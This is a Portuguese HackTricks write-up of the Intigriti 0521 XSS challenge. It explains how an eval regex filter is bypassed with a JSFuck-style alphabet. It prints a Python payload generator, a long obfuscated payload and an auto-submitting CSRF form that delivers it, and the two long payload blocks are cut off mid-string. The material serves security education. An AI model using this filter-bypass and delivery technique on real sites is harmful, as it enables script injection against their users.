mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 12:03:37 +00:00
180 lines
71 KiB
Markdown
180 lines
71 KiB
Markdown
|
# challenge-0521.intigriti.io
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* Trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
### Breve Descrição <a href="#brief-description" id="brief-description"></a>
|
||
|
|
||
|
O desafio fornece um formulário vulnerável a XSS na página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
|
||
|
Este formulário é carregado em [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via um iframe.
|
||
|
|
||
|
Foi descoberto que o formulário irá **inserir a entrada do usuário dentro da função JavaScript `eval`**. Isso geralmente não é uma boa ideia, pois pode levar à **execução arbitrária de JavaScript**, e este é um bom exemplo.\
|
||
|
No entanto, antes de inserir a entrada do usuário dentro da função `eval`, ela é verificada com a regexp `/[a-df-z<>()!\\='"]/gi` para que, se algum desses caracteres for encontrado, a entrada do usuário não será executada dentro do `eval`.\
|
||
|
De qualquer forma, foi encontrado um modo de contornar a proteção da regexp e executar `alert(document.domain)` abusando da perigosa função `eval`.
|
||
|
|
||
|
### Acessando o HTML <a href="#accessing-the-html" id="accessing-the-html"></a>
|
||
|
|
||
|
Foi descoberto que a letra `e` é permitida como entrada do usuário. Também foi descoberto que há um elemento HTML usando o `id="e"`. Portanto, este elemento HTML é acessível a partir do Javascript usando a variável `e`:\
|
||
|
![](https://i.imgur.com/Slq2Xal.png)
|
||
|
|
||
|
Além disso, é importante saber que em JS você pode **acessar os atributos de objetos com um ponto ou com uma string entre colchetes**. Portanto, você pode acessar o atributo `domain` de um objeto `document` de qualquer uma das seguintes maneiras:
|
||
|
```javascript
|
||
|
document.domain
|
||
|
document["domain"]
|
||
|
```
|
||
|
E o mesmo acontece com atributos que são funções (métodos):
|
||
|
```javascript
|
||
|
document.write("1")
|
||
|
document["write"]("1")
|
||
|
```
|
||
|
Então, a partir do elemento HTML `e`, é possível acessar o objeto `document` usando algo como:
|
||
|
```javascript
|
||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
|
||
|
```
|
||
|
### Chamar uma função sem parênteses com código JS como string <a href="#calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>
|
||
|
|
||
|
A partir do objeto `document`, é possível chamar a função `write` para **escrever texto HTML arbitrário que o navegador executará**.\
|
||
|
No entanto, como os caracteres `()` são **proibidos**, não é possível chamar a função usando eles. De qualquer forma, é possível chamar uma função usando **backtips** (\`\`).\
|
||
|
Além disso, é possível inserir como string código javascript que será executado usando `${...}` como:
|
||
|
```javascript
|
||
|
`${"alert(document.location)"}`
|
||
|
```
|
||
|
Portanto, combinando o acesso ao objeto `document` com essa técnica para executar funções sem parênteses, é possível **executar um alerta usando**:
|
||
|
```javascript
|
||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
|
||
|
```
|
||
|
Pode testar este código num console de JavaScript dentro da página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
|
||
|
|
||
|
### Bypass final de caracteres proibidos <a href="#final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>
|
||
|
|
||
|
No entanto, ainda resta um problema. A maioria dos caracteres do exploit são **proibidos** pois aparecem na expressão regular `/[a-df-z<>()!\\='"]/gi`. Mas observe como todos os **caracteres proibidos são strings** dentro do exploit e os **caracteres não string no exploit (e\[]\`${}) são permitidos**.\
|
||
|
Isso significa que se for possível **gerar os caracteres proibidos como strings a partir dos caracteres permitidos**, é possível gerar o exploit.\
|
||
|
Para fazer isso, gerei um alfabeto semelhante ao [JSFuck](http://www.jsfuck.com) para gerar os caracteres necessários (_este alfabeto é personalizado para este desafio_).\
|
||
|
Pode **ver o alfabeto completo dentro do código do exploit** (que pode ser encontrado na próxima subseção e no arquivo _exploit.txt_).
|
||
|
|
||
|
Por exemplo, para **gerar a letra `a`** é possível aceder a **`[[]/e+e][0][1]`** pois `[[]/e+e][0]` gera a string `"NaN[object HTMLProgressElement]"` ou para gerar a **letra `f`** é possível aceder ao **5º caractere de `[[][[]]+e][0]`** pois essa expressão gera a string `"undefined[object HTMLProgressElement]"`.\
|
||
|
Usando esses truques e alguns mais complexos, foi possível **gerar todos os caracteres (letras e símbolos) das strings contidas** no exploit:
|
||
|
```javascript
|
||
|
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
|
||
|
```
|
||
|
### Código de Exploração <a href="#exploit-code" id="exploit-code"></a>
|
||
|
|
||
|
Este é o exploit em python usado para gerar o exploit final. Se você executá-lo, ele imprimirá o exploit:
|
||
|
```python
|
||
|
#JS Specific Direct Alphabet
|
||
|
x = {
|
||
|
"1": "1",
|
||
|
".": ".",
|
||
|
"[": "[e+e][0][0]",
|
||
|
"]": "[e+e][0][27]",
|
||
|
"/": "[/e/+e][0][0]",
|
||
|
"a": "[[]/e+e][0][1]",
|
||
|
"b": "[e+e][0][2]",
|
||
|
"c": "[e+e][0][5]",
|
||
|
"d": "[[][[]]+e][0][2]",
|
||
|
"e": "[e+e][0][4]",
|
||
|
"f": "[[][[]]+e][0][4]",
|
||
|
"g": "[e+e][0][15]",
|
||
|
"H": "[e+e][0][8]",
|
||
|
"i": "[[][[]]+e][0][5]",
|
||
|
"j": "[e+e][0][3]",
|
||
|
"L": "[e+e][0][11]",
|
||
|
"l": "[e+e][0][21]",
|
||
|
"M": "[e+e][0][10]",
|
||
|
"n": "[[][[]]+e][0][1]",
|
||
|
"N": "[[]/e+e][0][0]",
|
||
|
"o": "[e+e][0][1]",
|
||
|
"r": "[e+e][0][13]",
|
||
|
"s": "[e+e][0][18]",
|
||
|
"t": "[e+e][0][6]",
|
||
|
"T": "[e+e][0][9]",
|
||
|
"u": "[[][[]]+e][0][0]",
|
||
|
}
|
||
|
|
||
|
#JS Dependent Alphabet
|
||
|
#The following alphabet will use previously obtained characters
|
||
|
#Note that this way of getting the characters are custom for the abused HTML
|
||
|
|
||
|
outerHTML = '+'.join(x[k] for k in 'outerHTML')
|
||
|
|
||
|
x['p'] = f'e[{outerHTML}][1]'
|
||
|
x['y'] = f'e[{outerHTML}][39]'
|
||
|
x['<'] = f'e[{outerHTML}][0]'
|
||
|
x['>'] = f'e[{outerHTML}][62]'
|
||
|
x['"'] = f'e[{outerHTML}][13]'
|
||
|
|
||
|
parentNode = '+'.join(x[k] for k in 'parentNode')
|
||
|
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
|
||
|
|
||
|
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
|
||
|
|
||
|
children = '+'.join(x[k] for k in 'children')
|
||
|
captcha = '+'.join(x[k] for k in 'captcha')
|
||
|
|
||
|
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
|
||
|
write = '+'.join(x[k] for k in 'write')
|
||
|
|
||
|
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
|
||
|
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
|
||
|
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
|
||
|
|
||
|
|
||
|
# Exploit generation
|
||
|
payload_text = '<script>alert(document["domain"])</script>'
|
||
|
payload = '+'.join(x[k] for k in payload_text)
|
||
|
|
||
|
txt = f'{document}[{write}]'+'`${['+payload+']}`'
|
||
|
|
||
|
print(txt) #Write the exploit to stdout
|
||
|
```
|
||
|
### Exploração <a href="#exploitation" id="exploitation"></a>
|
||
|
|
||
|
Para gerar a exploração, basta executar o código Python anterior. Se preferir, você também pode copiá-lo/colá-lo daqui:
|
||
|
```
|
||
|
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][
|
||
|
Então, você precisa **gerar uma página HTML** que, quando carregada, vai **redirecionar** a vítima para a página do **desafio** **configurando o exploit no formulário de captcha**. O código a seguir pode ser usado para esse propósito (_observe que o exploit está codificado em URL_):
|
||
|
```markup
|
||
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
|
<body>
|
||
|
<script>history.pushState('', '', '/')</script>
|
||
|
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
|
||
|
|
||
|
<input type="hidden" name="c" value="e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8&#
|
||
|
```html
|
||
|
<input type="submit" value="Enviar solicitação" />
|
||
|
</form>
|
||
|
<script>
|
||
|
document.forms[0].submit();
|
||
|
</script>
|
||
|
</body>
|
||
|
</html>
|
||
|
```
|
||
|
Finalmente, **sirva o poc em um servidor HTTP** e acesse-o pelo navegador:\\
|
||
|
|
||
|
![](https://i.imgur.com/qack7GO.png)
|
||
|
|
||
|
Basta pressionar **submit** no formulário de captcha e o alerta será executado:
|
||
|
|
||
|
![](https://i.imgur.com/mCORty3.png)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|